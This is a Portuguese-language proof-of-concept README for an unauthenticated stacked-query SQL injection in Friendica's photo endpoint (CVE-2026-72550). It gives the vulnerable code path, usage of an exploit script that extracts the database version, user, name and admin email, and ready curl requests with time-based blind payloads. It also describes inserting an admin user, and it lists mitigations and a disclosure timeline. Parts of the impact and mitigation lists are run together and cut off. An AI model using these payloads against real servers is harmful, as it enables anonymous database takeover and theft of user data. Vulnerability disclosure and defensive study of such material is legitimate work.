CVE-2026-72550 — PoC de Injeção SQL de Consulta Empilhada Não Autenticada no Friendica (CVSS 9.8 Crítico)
Uma injeção de SQL não autenticada com consultas empilhadas (stacked queries) no endpoint de fotos do Friendica permite que qualquer visitante execute SQL arbitrário.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-72550 |
| Produto | Friendica (rede social federada auto-hospedada) |
| Afetado | <= 2026.08-dev (git HEAD e3fc1bc) |
| Tipo | CWE-89: Injeção de SQL (não autenticada, consultas empilhadas) |
| Gravidade | Crítica — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticação necessária | Nenhuma |
O endpoint de visualização de fotos no Friendica recebe o parâmetro de consulta order e o concatena, sem escape, em uma instrução SHOW COLUMNS ... LIKE '...' executada por meio de um simples PDO::query() — que permite múltiplas instruções. Nenhum login é necessário e, em uma instalação padrão (block_public desativado por padrão), qualquer foto publicamente visível é suficiente. Como o PDO::query() executa instruções empilhadas, um atacante anônimo não apenas lê dados — ele executa SQL arbitrário, incluindo INSERT/UPDATE para criar um usuário admin.
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
O caminho de requisição padrão chega a este código: $cmd assume o padrão 'view' (satisfazendo a verificação $cmd === 'view') e no_count está desativado, portanto nenhuma autenticação e nenhuma configuração não padrão são necessárias.
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
| Flag | Descrição |
|---|---|
-u / --url | URL base do alvo (ex.: http://target:8176) |
-r / --user | Nome de usuário cuja galeria de fotos será acessada |
-i / --resource-id | ID do recurso de qualquer foto publicamente visível |
--extract | Valor a exfiltrar: version, db_user, db_name, admin_email |
--check-only | Apenas testa a vulnerabilidade, sem extrair dados |
--sleep | Atraso do SLEEP em segundos (padrão: 5) |
Não são necessários cookies nem autenticação. Aponte para qualquer resource-id de foto pública:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
Payload decodificado: x';SELECT SLEEP(5)-- -
O SQL injetado torna-se:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
Um atacante não autenticado pode:
INSERT INTO userTrata-se de um comprometimento total do banco de dados, alcançável por qualquer visitante anônimo em uma instalação padrão do Friendica.
order contra a lista branca de colunas conhecidas antes do usoSHOW COLUMNSPDO::ATTR_EMULATE_PREPARES => false)| Data | Evento |
|---|---|
| 2026-07-07 | Vulnerabilidade descoberta e confirmada em instância local |
| 2026-08-11 | CVE-2026-72550 publicado via CNA TuranSec |
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Utilize-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O autor não se responsabiliza pelo uso indevido.
Descoberto por Bobur Abdugafforov (@abdugafforov-bobur)
CVE atribuído via CNA TuranSec